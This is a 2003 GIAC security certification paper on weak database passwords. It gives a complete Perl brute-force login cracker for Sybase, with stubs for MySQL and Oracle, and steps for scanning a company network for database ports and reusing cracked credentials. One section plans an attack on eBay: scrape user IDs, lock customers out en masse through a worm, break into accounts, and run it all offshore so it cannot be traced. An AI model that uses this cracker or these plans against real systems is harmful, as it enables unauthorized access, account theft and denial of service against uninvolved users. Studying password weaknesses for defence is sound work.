Global Information Assurance Certification Paper

GSEC Option #1 Research on Information Security
Database Password Crack framework
Version 1.2

Executive Overview

This paper will examine the state of database security. In particular, it will focus on the weakness of database passwords as it pertains to users and server configurations. Given the exploits of the "Kaiten" malicious code (November 2001) and other similar database attacks, this is a relatively new research area for Internet databases.[1]

In particular, I was not able to find a generic password-cracking tool for SQL databases. A search on Google turned up the following references: [2]
MS/SQL http://www.nextgenss.com/products/sqlcrack.htm
Oracle http://home.earthlink.net/~adamshalon/oracle_password_cracker/
Generic http://www.infoworld.com/article/02/04/05/020408neappdetective_1.html
While I am sure that there are other tools available, such an analysis would be beyond the reasonable scope of any paper.

I make note of such tools as: Lopht Crack, cracklib, etc. It seems that most available tools apply to cracking an operating system account's password – not a database or application one. The basic computer assumptions have vastly changed over the last 15 years. Account access to a system does not mean that you automatically get application or database access.

In the Internet age, most of these password-cracking tools are obsolete. They only apply to internal use. Why would you break a password on a system account, when you don't have direct access to the system via telnet, login, etc.? In fact, the programs often "cheat". The writers already know the algorithms. They are constantly coming up with new and faster ways to break the encryption.

The purpose of this paper is to put forth a program framework and corresponding documentation to address the issue of cracking a database password using generic methods that can be adapted to many database platforms. With a few modifications, the framework should also be able to expand into other areas, namely web applications and networking gear.

I) Current State of Database Technologies

I A) Internal database architectures

Today's internal database technologies are very similar. A user is granted access to a particular server. This server or instance(s) may have several database(s) or tables. The user is usually granted access to some group(s). These groups have access to certain internal objects (databases, tables, stored procedures, etc.)

The two-tiered model formed the basis for client-server computing for years. The assumption was simple: an application client would connect to a database or other type of server. The database server process(es) would control user access, etc.

In the three-tiered model, a user's access is usually controlled through a "middle tier". The middle tier connects to the database through a connection pool. The application middle tier caches certain data, queries the rest, etc. In effect, there is only one login to the database – the application one. The application login is usually granted database owner or DBO access. In effect, granting the application full database access, including insert, update, delete, drop object, etc.

The two-tier and three-tier models usually support some kind of security, auditing, etc. These configuration settings usually tend to be optional. Additionally, some basic password checking may be provided by either the database or the middle tier application. These also tend to be optional. Additionally, they tend to not be as sophisticated as their operating system counterparts. Configuration options that include password reuse, dictionary password check, etc. are usually not available.

Most companies do provide password creation rules. These rules include options like: 1) six character minimum 2) at least one number 3) at least one character, etc. It is difficult to enforce the intent of the rule, as opposed to, the actual requirements. There is usually nothing to stop me from putting a "1" in front of a word.

Database access and controls have changed very little over the years. With the exception of a buffer overflow, SQL injection or something similar, it is not possible to directly access a database object unless permission is granted – or access is stolen. In general, you have to connect to the database server process or processes to access the data. The easiest way to do this is with a user id.

Once again, a generic framework can be adapted to any database platform using either the two or three tier model. Likewise, the framework can also be adapted to other Internet based attacks. Many network objects still do not support account lockout, most notably networking gear, e-mail servers, etc. I will explain later in the paper how I would actually go about utilizing such a tool for an attack.

I B) External database architectures

When I use the term "external database architectures", I am referring to the methods used to access the database server.

Most database cracking programs today rely on the principle of "sniffing" the network. These attacks are flawed for the following reasons: 1) they assume that the hacker already has a certain level of access 2) they assume that hacker has a certain level of knowledge about how the database connections work. (For example, Oracle's OCI connection vs Sybase's TDS, etc.) and 3) most servers are on another network from the clients.

The last reason alone would prevent most types of this attack. For example, if I wanted to hack the accounting server, then I would probably have to be somewhere on the accounting network. I would first have to find the network. I would then have to find a machine on the network, etc. Not only would this approach be extremely time consuming, it would also require a lot of effort.

I would first like to make note of the fact that many database servers support operating system logins without being prompted for a password. In this case, the traditional operating system user attacks would work. Cracking a user's operating system password would also allow the hacker to connect to the database application running on that server. I believe that these types of configurations are not the norm. They are done for mostly backward compatibility and historical reasons.

Most database systems have what are referred to as "default TCP/IP" ports. This is another example of configuration mismanagement. They are often not changed. A few simple queries on the web and I could tell you the default port(s) for most database platforms. It would be a simple matter to run an nmap against these ports across a subnet(s). With this list in hand, I could tell what databases servers were running on which IP's. I would then know which attack method to use against which IP.

I would also like to make note of the fact that some database platforms support SSL and other types of authentication. Once again, these are usually non-standard options. Also, the connection methods may also support their own types of encoding. There is no need to break the encryption because I plan on using the proverbial "front door" to gain access.

Additionally, most database platforms do support the principle of locking an account after a set number of unsuccessful login attempts. Once again, this option is usually not a default setting. Also, there is a simple way around it. The tool could be utilized to initiate and denial a service attack against the server first. The type of DOS attack would be to force the users to be locked out. Most database administrators would quickly tire of resetting passwords especially if the system was shut down once or twice. I would then just wait a few weeks and start in again. [8]

Lastly, one of the easiest ways to gain access to a database is to simply read the logical devices off of the operating system or backups. Often, this information is not encrypted.

For example, early versions of Sybase would allow you to extract the sa password from the system device by executing a "strings" command and "grepping" for the keyword "mastersa". Attacks of this nature assume that default permissions are used for files which is very common. If effect, database access is circumvented because you would be directly accessing the files from the operating system, not the database process(es).

Given the rise of open source solutions like MySQL, I would suspect that there will eventually be a corresponding increase in new types of database related attacks based on previously know attacks. While I haven't looked into the MySQL code directly, I am sure that it would be a simple matter to extract information with a little bit of programming. Likewise, other attacks would be possible against other databases. The simplest thing to do may be to actually steal an old backup tape out of a garbage bin, load the database backups onto a new server, change the account passwords and extract the relevant data.

I C) Internet databases

This term is a misnomer. Most people do not have databases available on the Internet. What they have are applications that are available to the Internet that access databases. The databases themselves are usually not directly accessible from the Internet. Most of the SQL injection attacks are routed through a web or application front end.

Likewise, the operating system access is also restricted. Most Internet users do not have system accounts. They have application ones instead. This is the main reason for tools like Lopht, etc. not being used as a primary means of attacking an Internet machine.

I D) Current Database attacks

There are several attack methods for most database systems: A) a security bug, B) SQL Injection C) Configuration exploit, D) Identity theft.

A) Security bug

There are almost daily posting about security holes being found in various systems. A simple search for Oracle on www.cert.org returned more than 100 results. [11] I am sure that a search on other databases would provide similar results.

These holes are sometimes exploitable by being passed through an application layer; however, most times they are not. Also, they assume a certain level of expert knowledge in most cases. In effect, it puts these types of attacks beyond the implementation of most hackers.

B) SQL Injection

SQL injection attacks are more along the lines of an application bug. In effect, the input data is not checked before being passed to or from the server. Likewise, you need to know something about the database backend, table objects, etc. It may take a considerable amount of a hacker's time to execute this type of attack successfully.

There are probably some basic SQL injection tools; however, they can probably only get you so far. Discovering the database object names may even prevent this type of attack all together. Likewise, this attack assumes a certain level of expertise.

C) Configuration exploit

The Kaiten exploit was classified as malicious code. [1] Actually, this is incorrect. It should have been classified as a configuration error. The rise of Microsoft Administrators into the database world is probably a mistake. Operating system administration and database administration are two different skill sets. Many Unix and mainframe based shops have kept them separate for a reason.

Today, the Linux world is repeating this mistake. Anyone can install Linux and MySQL. The application will work. There are enough tools to get almost anything off the ground; however, this does not make anyone an expert in the field. In fact, it may actually prove harmful, as was the case in the Kaiten.

D) Identity theft

Lastly, there is the identity theft attack. Things like Lopht, cracklib, network sniffers and password based attacks fall into this category. The operating system based attacks only work after you have access to the machine or corresponding password information. This is usually not the case for Internet based systems.

The network based attacks, likewise, assume network access. One example of this is the recent attacks against broadband Internet users. Many people just do not understand that the broadband connection is shared between several users. It is a simple matter to sniff data for anyone that you are connected to.

Password attacks are often the easiest to implement and yield the best results. They do not require extensive knowledge in general. Also, there is usually some piece of data already available like user account information.

II) Background

I have been a Wall Street SA/DBA/Manager for 10+ years. During this period, I have been involved in several major trading floor implementations. I have been personally involved with architecture, auditing, implementation, integration and operations. The following is a listing of my observations:

The first things dropped from a project plan are: auditing and security. You don't need them to launch. In fact, they actually delay the project by a considerable amount of time. Additionally, auditing and security slow down system performance and increase TOC. Passwords and user id's fall into the simpler category of a basic failure to manage identities. In several cases, I have seen accounts still active after a person has left the firm. In other cases, default passwords are never changed. They remain the same – person in – person out. The user id's fall into the same category. People constantly use "old accounts" from prior staff because they are already setup and are known to work.

The most sophisticated security system can be undone by the simplest user mistakes. In the movie, War Games, the programmer used his son's name as the password. This is often not far from the truth. A standard dictionary attack would probably work against most user accounts.

Most people who engage in illegal computer activities are already on the inside. [3,5] This has been a published fact time and time again. They are already past any firewalls, IDS systems or other external security measures. Also, they usually have some pieces of valuable data. For example, if I know how my account is created, then I also know how someone else's account is created. This is one of the drawbacks of standardization.

Additionally, most systems do not provide an internal means of password checking. Given that most people pick easy passwords, it is not hard to guess. [4] I am therefore going to concentrate on a very simplistic approach that can also be adapted to non-database platforms.

III) Design overview

This framework takes into account the KISS principle – Keep It Simple Stupid. I don't need to write some heavy-duty program in assembler. I don't need a special machine or hardware. I am going to use what is readily available on the Internet and most systems.

After doing several searches on the web, I was only able to find database password crack programs mostly for MSSQL. In fact, most of the technologies just "sniff" the network for the unencrypted passwords over a particular port. They rely on being internal to the network, having a certain privileged level of access, etc.

This further proves my point that database security is still seriously lacking. Even the SANS course did not cover database security in more than a cursory fashion. Something they might want to change in future course offerings.

More often than not, simple attacks work the best. I am going to write a basic template program written in Perl that will be able to execute a simple brute force password attack against an Oracle, MySQL or Sybase database servers. For illustration purposes, I will code the actual Sybase part. It will not require any special access; however, I will download the user account information into separate servers. I am going to assume the role of an "inside hacker" who would already have such information and system access.

Perl is a popular program that is widely available on most platforms. Additionally, it is installed on most systems as part of the additional software. The required Perl DBD/DBI modules would probably also be available to any normal system user. [6] Once again, I am going to rely on using what would normally be available.

If for some reason, Perl is neither installed nor configured, then I could get a copy and download it into my own account, likewise for the system modules. This would apply to both Microsoft and Unix implementations. Lastly, www.cpan.org provides a host of connection-based modules for other protocols like telnet, snmp, etc.

I am going to assume that the person reviewing these papers has a fundamental knowledge of programming and I don't need to explain basics. [9,10]

IV) Documented code/program.

IV A) Module description/specifications

Name: Debug
Purpose: To debug program while in testing mode
Input: String, usually sub module name, etc.
Output: Package, Filename and line number
Environment: $DEBUG
Description: When setting up a framework with the number
of modules that are possible, a basic debug module
is absolutely necesary
Improvements: 1) Should also take into account which DBD module is loaded
and enable corresponding options like auditing

Name: gen_stub
Purpose: To create stub testing program
Input: DBI/DBD Use and connect statements
Output: /tmp/stub.pl file
Environment: $USE_STATEMENT $CONNECT_STATEMENT
Descritpion: This is a generic stub program created at run time to
perform the actual test login for the database server chosen.
Improvements: 1) Add generic telnet/ssh/rlogin stub for network attacks
2) Add generic HTML stub for web based attacks

Name: read_crack_file
Purpose: To load @CRACK with words
Input:./crack.txt which is a dictionary or other collection of words.
Output: @CRACK which is an array of words
Description: Loads the array @CRACK. Specifically designed to test
default passwords. For example, a corporate move would
often use default passwords for users. They would then
forget to be set when the system is migrated.

Name: read_users_file
Purpose: To load @USERS with guessed or known accounts
Input: ./users.txt which is an account listing
Output: @USERS which is an array of accounts
Description: Loads the array @USERS. Once again, any sort of id can
be setup – known, educated guess, default, etc.
Improvements: 1) Should automatically add default accounts depending on database
platform chosen.

Name: run_stub
Purpose: Dual for loops for user/password combination
Input: @USERS and @CRACK for loop arrays

Output: Results of stub program to test connection
Description: Basic embedded for loop combination with appropriate
break and test result conditions.
Improvements: 1) Add option to break loop if login is OK and password is bad
2) Add network device test option
3) Add web page test option
4) Add restart code to pickup from a previous run

Name: usage
Purpose: print program options
Input: None or blank command line
Output: program options
Description: Displays basic system option and environmental information
required to properly execute the program.

Name check_mysql / check_oracle
Purpose: stub modules to represent other DBD modules for testing
Input: $USE_STATEMENT $CONNECT_STATEMENT
Output: None
Description: I just coded these to illustrate other options. It theoretically
would not take long to code the actual use and connect statements.

Name: Main
Purpose: serve as main program to execute the above modules
Input: Enviromental variables required to run check_xxx stubs and command line option
Output: either usage or results returned from run_stub module
Description: A simple main to check command line and run program modules.
Improvements: 1) Add options for networking gear, web pages, etc.
2) Add a restart option to restart a run from an existing array element(s)

IV B) Program listing

```
#!/usr/local/bin/perl  -w
###
### C. J. CAWLEY 9/2003
###

## Global variables
## Autoflush
$|=1;
## Stub program
$STUB="/tmp/stub.pl";

##
## Debug
##
sub debug() {
## Check for debug variable and process lines, etc.
if (defined $ENV{DEBUG}) {
        ($package,$filename,$line) = caller;
        printf "\n----------DEBUG $_[0] ----------";
        printf "\n$package $filename,$line";
        printf "\n$_[1]\n";
        }
return 0;
}

##
## Generate stub connect program
##
sub gen_stub() {
&debug("gen_stub","INSIDE");
## Get perl executable
$PERL=`head -1 $0`;
open STUB_FILE, "> $STUB" or die "Can't open $STUB";
printf STUB_FILE $PERL;
## Set flush
printf STUB_FILE "## Autoflush\n";
printf STUB_FILE "\$|=1;\n";
printf STUB_FILE "use DBI;\n";
printf STUB_FILE "##Attributes to supress error\n";
print  STUB_FILE "\%attr = (\n";
printf STUB_FILE "PrintError => 0,\n";
printf STUB_FILE "RaiseError => 0\n";
printf STUB_FILE ");\n";
printf STUB_FILE "##DBD Module\n";
```

```
printf STUB_FILE $USE_STATEMENT;
print  STUB_FILE $CONNECT_STATEMENT;
printf STUB_FILE "if (defined \$dbh) {\n";
printf STUB_FILE "\$dbh->disconnect; }\n";
printf STUB_FILE "exit 0;\n";
system("/bin/chmod 755 $STUB");
close  STUB_FILE;

return 0;
}

##
## Read crack.txt file
##
sub read_crack_file() {
&debug("read_crack_file","INSIDE");
## Initialize and start reading....
@CRACK=';
open CRACK_FILE, "< ./crack.txt" or die "Can't open ./crack.txt";

## Process file
LINE: while (<CRACK_FILE>) {
        next LINE if /^#/;
        next LINE if /^$/;
        next LINE if /^1/;
        chop;
        push @CRACK,$_;
        };

## Close and exit
close CRACK_FILE;
&debug("read_crack_file","END Read $#CRACK");
return 0;
}

##
## Read users.txt file
##
sub read_users_file() {
&debug("read_users_file","INSIDE");
## Initialize and start reading....
@USERS=';
open USERS_FILE, "< ./users.txt" or die "Can't open ./users.txt";

## Process file
LINE: while (<USERS_FILE>) {
```

```
        next LINE if /^#/;
        next LINE if /^$/;
        next LINE if /^1/;
        chop;
        push @USERS,$_;
        };

## Close and exit
close USERS_FILE;
&debug("read_users_file","END Read $#USERS");
return 0;
}

##
## Run stub program through
## user/password combinations
##
sub run_stub() {
&debug("run_stub","INSIDE");

## User for loop
USER_LOOP: for ($indx1 = 1; $indx1 <= $#USERS; $indx1++) {

## Print User name
printf "\nChecking $USERS[$indx1] $USERS[$indx1] ...";
## First check user and password
## are not the same.
## * NEED TO IMPROVE ERROR CHECKING
##   Assumes that STUB program will run correctly
        `/tmp/stub.pl $USERS[$indx1] $USERS[$indx1] > /tmp/a.out 2>&1 `;
        if ($? == 0) {
                printf "\nFound $USERS[$indx1] $USERS[$indx1]";
                next USER_LOOP if $! == 0;
        } else {

## Password for loop
        for ($indx2 = 1; $indx2 <= $#CRACK; $indx2++) {
                system("/tmp/stub.pl $USERS[$indx1] $CRACK[$indx2]");
                if ($? == 0) {
                        printf "\nFound $USERS[$indx1] $CRACK[$indx2]";
                        next USER_LOOP if $! == 0;
                        }
                        }
                }
        }
```

```
## Closing printf
printf "\n";
return 0;
}

##
## Usage
##
sub usage() {
        printf "\nUsage:\n";
        printf "check_mssql     - checks MS SQL Server passwords";
        printf "check_mysql     - checks mysql passwords\n";
        printf "                  Environmental variables are:\n";
      printf "                MYSQL_HOST and MYSQL_TCP_PORT\n";
        printf "check_oracle    - checks oracle passwords\n";
        printf "                  Environmental variables are:\n";
      printf "                MYSQL_HOST and MYSQL_TCP_PORT\n";
        printf "check_sybase    - checks sybase passwords\n";
        printf "\nTwo files are required:";
        printf "\n./users.txt   - a listing of suspected user accounts.";
        printf "\n./crack.txt   - a listing of passwords to check.";
        printf "\n For this example, I am going to use children's names.\n";
        exit(0);
}

##
## Check Mysql
##
sub check_mysql() {
printf "Stub module only\n";
}

##
## Check Oracle
##
sub check_oracle() {
printf "Stub module only\n";
}

##
## Check Sybase
##
sub check_sybase() {
## Check ENV
if ((! defined $ENV{SYBASE}) || (! defined $ENV{DSQUERY})) {
        die "FATAL: \$SYBASE or \$DSQUERY IS NOT SET";
```

```
        }

## Commands for loading DBD Driver
## and making connection
$USE_STATEMENT="use DBD::Sybase;\n";
$CONNECT_STATEMENT="\$dbh = DBI->connect(\"dbi:Sybase:timeout=10\",
\$ARGV[0] ,\$ARGV[1], \\%attr) or exit 1;\n";
}

##
##
## Main
##
## Check for usage
##
if ($#ARGV >= 0) {
## Menu
$_=$ARGV[0];
MENU: {
      /mssql/             && do { &check_mssql;       last MENU; };
      /mysql/             && do { &check_mysql;       last MENU; };
      /oracle/            && do { &check_oracle;      last MENU; };
      /sybase/            && do { &check_sybase;      last MENU; };
      //                  && do { &usage;             last MENU; };
        }

## Read data files
        &read_crack_file;
        &read_users_file;
## Generate stub program
        &gen_stub;
## Run stub through
## user/password loops
        &run_stub;
} else {
        &usage;
        }
exit 0;
```

IV C) Sample Data:

scott/tigger
monty/123abc
raquel/raquel
jeff/zachary

IV D) Sample crack password file
andrew
zachary
chris

V) Steps for implementing and attack in-house

I would use the following steps:

1) Compile a listing of default TCP/IP ports for the most common databases
   - Most default ports are not changed.
   - Neither are most default user id's
     Sybase's default guest id is one example of this.

2) Run nmap against those ports using the network segments in my company
   - If something came back against another port, then I may need to write a login test program to check if there is a database running on that port.
   - Also, I could run the standard database attacks against those servers. This would be standard in any penetration test.

3) Compile the listing of suspected Host IP/TCP port to test
   - I need this list to generate the protocol connection string.
   - Also, I would start with the default combinations

4) Compile a listing of suspected id's for testing based on database server type
   - I would have a listing of suspected standard user id's based on my own
   - I would also have a listing of default database ID's based on database server type

5) Run a few test programs using whatever internal test id I had
   - Since I know what my ID and password are, I could use them to validate the test runs.

6) If there were successes
   - I would check those ID's against the other servers to see if the user had accounts on multiple servers.

7) If I acquired any ID's
   - I would logon to the system and look for additional user accounts
   - With this updated user list, I would restart the process

8) If I were running the above as a penetration test
   - I would request a listing of servers and user id's. This is similar to what would be done running Lopht crack, etc. for an operating system penetration test.
   - I would also request a listing of any default account passwords for new users.

VI) Frame work expansion into a real world example

As I mentioned earlier, it would be relatively simple to modify the code to expand into other areas like a denial of service attack. I would like to explore how one would go about doing this. I will pick an old favorite, Ebay.

I have an Ebay account. You probably do too. In fact, a lot of people do. Ebay provides a lot of user information. [8] They post user's id information on the bidding. They also post seller's information on the bids. It would be simple to get a user listing from their website. I may need to run some kind of HTML program scanner; however, it would not be a problem. Therefore, I have my input list.

I would then choose a few generic passwords like: 1) "123abc", 2) "test", 3) etc. It would be simple to cycle through the combinations. If the accounts are locked out, then Ebay has a problem, not me. I would run it from some off shore account. It would be much harder to trace.

In effect, I could probably lock out users from most of Ebay's site in a matter of hours. By cycling through the listing of known users and providing junk passwords, I would force them to lockout their own customers. After a few times of going through this exercise, they would be forced to open the front door or go out of business. I would let their users do the work for me.

I would look to embed this type of attack in a worm. I would be forced to write another program to attack eBay or whomever. It would be similar to the e-mail virus attacks. It would take eBay time to modify their security to adapt to this kind of attack. I would use this time to break into the accounts.

If, for some reason, Ebay does not provide this lockout option, then I would continue on my merry way trying to break the passwords for the listed accounts. In either case, it would not be a problem for me – just Ebay and their customers. I would have to make sure that it is run from some place that is not easily traced back to me.

E-mail would be another good example of an outside attack. Accounts like webmaster, postmaster, info, sales, etc. are usually available on most mail servers. Perl also has a POP3 Client that could be adapted for this kind of attack.

As stated at the beginning, I am looking to put forth an adaptable framework. The above two examples prove that this type of adaptation are possible. Likewise, the availability of user account information is similar. Hence, the attack would also be similar.

VI Conclusion

Given the current state of database technologies, Internet applications and users, the test results of the program framework support the concept that Perl with the appropriate DBI/DBD modules could be used to successfully test database logins for a variety of passwords. While not able to test the program against more than a sample dataset, the logic would work in the real world. The only issue would be one of how long it would take to actually cycle through a dictionary file.

I would strongly recommend that SANS start to expand their courses in the area of database technologies. When a hacker decides to break into a system, they do it for two main reasons: 1) to break something (ex. The various never ending worms) or 2) to steal data(ex. Adrian Lamo's theft of MCI data, et. al.) or the recent increases in ID theft.

Secondly, most hackers are already inside. Most companies do not make this information public unless they are forced to do so. I think that if companies had to inform the public of a "break-in", etc., then you would see a lot more cases reported in the web, news, etc. I believe that California recently passed a law regarding this issue.

In conclusion, a company's staff is both it's largest asset and largest security problem. Stealing a user's identity is the simplest way to gain unauthorized system access. The same holds true for employees as it does for Internet users. Identity theft will be the largest problem for the Internet for the next several years.

Research

1 – Kaiten malicious code article November 2001
http://www.cert.org/incident_notes/IN-2001-13.html
2 – www.google.com Search for SQL+crack+password+Sybase+Oracle+Microsoft
MS/SQL http://www.nextgenss.com/products/sqlcrack.htm
Oracle http://home.earthlink.net/~adamshalon/oracle_password_cracker/
Generic http://www.infoworld.com/article/02/04/05/020408neappdetective_1.html
3 – Article about Adrian Lamo breaking into MCI
http://www.cnn.com/2001/TECH/industry/12/10/hacker.explains.idg/index.html
4 – Article about study in U.K. about ease of password cracking
http://www.cnn.com/2002/TECH/ptech/03/13/dangerous.passwords/index.html
5 – Article about form Acxiom employee stealing data
http://www.enquirer.com/editions/2003/08/10/loc_hacker10.html
6 – www.cpan.org for various DBD module availability
7 – Variety of other security related websites www.sqlsecurity.com
www.securityfocus.com
8 – Kevin Mitknick's book on security – "The Art of Deception"
9 – Programming the Perl DBI by O'Reilly
10 – Debugging Perl by Osborne
11 – www.cert.org